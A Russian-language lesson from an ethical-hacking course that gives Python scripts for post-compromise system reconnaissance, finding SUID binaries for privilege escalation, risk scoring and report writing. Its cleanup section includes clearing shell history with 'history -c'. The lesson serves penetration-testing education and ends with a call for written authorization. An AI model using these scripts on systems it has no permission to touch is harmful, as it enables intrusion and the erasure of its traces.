Автоматизация сбора информации (Local Recon)

Ручной ввод команд (whoami, ipconfig, uname -a) утомляет и отнимает время. Если вы взломали 50 серверов, ручной сбор данных невозможен. Напишем скрипт на Python, который делает «снэпшот» состояния системы.

Мы будем использовать стандартные библиотеки platform, socket и subprocess, чтобы наш скрипт работал на любой машине без необходимости устанавливать сторонние модули (ведь на взломанном сервере может не быть интернета или прав на pip install).

Скрипт: Системный аудитор

import platform
import socket
import os
import subprocess
import json
from datetime import datetime

class SystemAuditor:
    def __init__(self):
        self.report = {
            "timestamp": str(datetime.now()),
            "system_info": {},
            "network_info": {},
            "users": []
        }

    def get_system_info(self):
        # Сбор базовой информации об ОС
        uname = platform.uname()
        self.report["system_info"] = {
            "system": uname.system,
            "node_name": uname.node,
            "release": uname.release,
            "version": uname.version,
            "machine": uname.machine,
            "processor": uname.processor
        }

    def get_network_info(self):
        # Получение имени хоста и IP-адреса
        hostname = socket.gethostname()
        try:
            ip_address = socket.gethostbyname(hostname)
        except socket.error:
            ip_address = "127.0.0.1"

        self.report["network_info"] = {
            "hostname": hostname,
            "ip_address": ip_address
        }

    def get_current_user(self):
        # Кто мы в системе?
        try:
            # Используем whoami, так как это работает и в Windows, и в Linux
            user = subprocess.check_output("whoami", shell=True).decode().strip()
            self.report["current_user"] = user
        except Exception as e:
            self.report["current_user"] = f"Error: {str(e)}"

    def run_audit(self):
        print("[+] Начинаю аудит системы...")
        self.get_system_info()
        self.get_network_info()
        self.get_current_user()
        print("[+] Аудит завершен.")
        return self.report

if __name__ == "__main__":
    auditor = SystemAuditor()
    data = auditor.run_audit()
    # Вывод результата в формате JSON
    print(json.dumps(data, indent=4))

Этот скрипт мгновенно сообщает нам, где мы находимся. Если в поле release мы видим старую версию ядра Linux или Windows, это сразу дает подсказку, какие эксплойты для повышения привилегий можно использовать.

Поиск векторов повышения привилегий

Одна из самых частых ошибок администраторов Linux — неправильная настройка прав доступа, в частности SUID бита.

SUID (Set User ID) — это флаг прав доступа, который позволяет пользователю запускать исполняемый файл с правами владельца этого файла (обычно root).

Если обычный пользователь может запустить программу с SUID-битом, в которой есть уязвимость, он может получить права root. Нам нужно найти все такие файлы.

Математика прав доступа

В Linux права часто записываются в восьмеричной системе. Полная маска прав состоит из 4 цифр. Первая цифра отвечает за специальные биты (SUID, SGID, Sticky Bit).

Значение SUID бита равно 4. Если мы ищем файлы с правами, где установлен SUID, нас интересуют маски, удовлетворяющие условию:

M≥40008M \ge 4000_8

Где MM — числовое представление прав доступа файла в восьмеричной системе счисления, а 400084000_8 — минимальное значение, при котором установлен бит SUID (4 в старшем разряде).

Скрипт: Охотник за SUID

Добавим этот функционал в наш инструментарий. Мы будем использовать модуль os для обхода файловой системы.

import os
import stat

def find_suid_binaries(start_path="/"):
    print(f"[+] Поиск SUID файлов начиная с {start_path}...")
    suid_files = []

    try:
        for root, dirs, files in os.walk(start_path):
            for name in files:
                filepath = os.path.join(root, name)
                try:
                    # Получаем статус файла
                    file_stat = os.stat(filepath)
                    # Проверяем, установлен ли SUID бит
                    if file_stat.st_mode & stat.S_ISUID:
                        suid_files.append(filepath)
                        print(f" [!] Найден SUID: {filepath}")
                except PermissionError:
                    # У нас может не быть прав даже на чтение атрибутов некоторых файлов
                    pass
    except Exception as e:
        print(f"[-] Ошибка при сканировании: {e}")

    return suid_files

# Внимание: сканирование всего корня "/" может занять время
# find_suid_binaries("/usr/bin")

Если скрипт найдет /usr/bin/python с установленным SUID битом, это джекпот. Вы можете запустить python и выполнить команду повышения прав, став суперпользователем.

Расчет оценки риска (Risk Scoring)

В отчете для клиента недостаточно просто вывалить список файлов. Нужно дать количественную оценку опасности. Давайте реализуем простую формулу расчета риска на основе найденных проблем.

Допустим, мы присваиваем веса различным находкам:

  • Старое ядро ОС: вес 5
  • SUID на стандартных утилитах: вес 2
  • SUID на нестандартных/опасных утилитах (nmap, vim, python): вес 9

Формула общего риска системы:

Rtotal=∑i=1n(Ci×Wi)R_{total} = \sum_{i=1}^{n} (C_i \times W_i)

Где RtotalR_{total} — общий рейтинг риска системы, nn — количество типов найденных уязвимостей, CiC_i — количество обнаруженных экземпляров уязвимости ii-го типа (например, 3 опасных SUID файла), а WiW_i — вес (критичность) данной уязвимости.

Автоматизация отчетности

Самая скучная часть работы хакера — писать отчеты. Но именно за отчеты платят деньги. Скрипт должен уметь не просто выводить данные в консоль, а генерировать читаемый файл (Markdown или HTML).

Давайте объединим наши наработки в генератор отчета.

def generate_markdown_report(audit_data, suid_files, filename="audit_report.md"):
    with open(filename, "w", encoding="utf-8") as f:
        f.write("# Отчет аудита безопасности\n\n")
        f.write(f"**Дата:** {audit_data['timestamp']}\n\n")

        f.write("## 1. Информация о системе\n")
        sys = audit_data['system_info']
        f.write(f"* **ОС:** {sys['system']} {sys['release']}\n")
        f.write(f"* **Имя узла:** {sys['node_name']}\n")
        f.write(f"* **Пользователь:** {audit_data['current_user']}\n\n")

        f.write("## 2. Сетевая информация\n")
        net = audit_data['network_info']
        f.write(f"* **IP:** {net['ip_address']}\n")
        f.write(f"* **Hostname:** {net['hostname']}\n\n")

        f.write("## 3. Потенциально опасные файлы (SUID)\n")
        if suid_files:
            f.write("| Путь к файлу |\n")
            f.write("| --- |\n")
            for file in suid_files:
                f.write(f"| `{file}` |\n")
        else:
            f.write("SUID файлы не обнаружены.\n")

    print(f"[+] Отчет сохранен в файл: {filename}")

# Пример использования (псевдокод вызова функций):
# data = auditor.run_audit()
# suid = find_suid_binaries("/bin")
# generate_markdown_report(data, suid)

Теперь после проникновения вам достаточно запустить один скрипт, и через минуту у вас готов черновик отчета, который можно отдавать заказчику.

Очистка следов (Cleanup)

Этичный хакер обязан оставить систему в том же состоянии, в котором она была до его прихода. Это отличает профессионала от вандала.

Ваш финальный скрипт должен включать функцию самоликвидации:

  1. Удаление всех созданных временных файлов (отчеты, логи).
  2. Удаление загруженных инструментов.
  3. Очистка истории команд (например, .bash_history).
import os

def cleanup(files_to_remove):
    print("[+] Начало очистки следов...")
    for file in files_to_remove:
        if os.path.exists(file):
            try:
                os.remove(file)
                print(f" [V] Удален: {file}")
            except OSError as e:
                print(f" [X] Ошибка удаления {file}: {e}")

    # Пример очистки истории в текущей сессии (для Linux)
    # В реальности это сложнее и требует аккуратности
    # os.system("history -c")

Заключение курса

Поздравляю! Вы завершили курс «Скриптинг для информационной безопасности и этичного хакинга».

Мы прошли путь от простых сокетов до автоматизации пост-эксплуатации. Теперь в вашем арсенале есть:

  • Сетевые сканеры для разведки.
  • OSINT-инструменты для сбора данных.
  • Фаззеры для поиска уязвимостей.
  • Аудиторы для анализа взломанных систем.

Помните, что эти скрипты — лишь инструменты. Главное оружие хакера — это его мышление и этика. Используйте полученные знания только для защиты систем и с письменного разрешения владельцев.

Удачи в ваших исследованиях и безопасного кода!